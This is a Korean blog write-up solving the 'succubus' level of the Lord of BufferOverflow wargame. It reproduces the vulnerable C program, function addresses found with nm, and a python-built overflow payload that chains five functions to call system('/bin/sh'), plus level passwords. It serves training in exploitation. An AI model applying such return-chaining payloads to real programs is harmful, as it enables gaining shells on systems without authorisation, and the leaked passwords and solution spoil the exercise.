본문 바로가기

Write-Up/LOB(lord of bufferoverflow)

[Lord Of BufferOverFlow] 17번 zombie_assassin -> succubus

login : zombie_assassin

password : no place to hide

 

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

도개걸윷모 함수가 있고

메인함수는 

조건이 library 사용불가, ret 주소는 do주소, stack destroyer (ret과 그 뒤빼면 stack 사용불가)

LD_*ERASER 환경변수 불가

 

도 게 걸 윷 모 차례대로 가서 모는 cmd를 실행시키니 차례대로 주소를 넣어주고 마지막으로 

/bin/sh주소에 /bin/sh를 넣어주면 될것같다

 

[zombie_assassin@localhost zombie_assassin]$ nm succubus
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT

도 게 걸 윷 모 주소를 찾았고

 

/bin/sh주소를 찾아야된다.

0xbffffaa8

페이로드구성

./succubus  `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xa8\xfa\xff\xbf" + "/bin/sh"'`

 

segmentation fault;;;

코어파일 분석해서 0xbffffaa8을 분석해보니

 

 

주소를 0xbffffab8로 바꾸면될것같다

 ./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xb8\xfa\xff\xbf" + "/bin/sh"'`

 

here to stay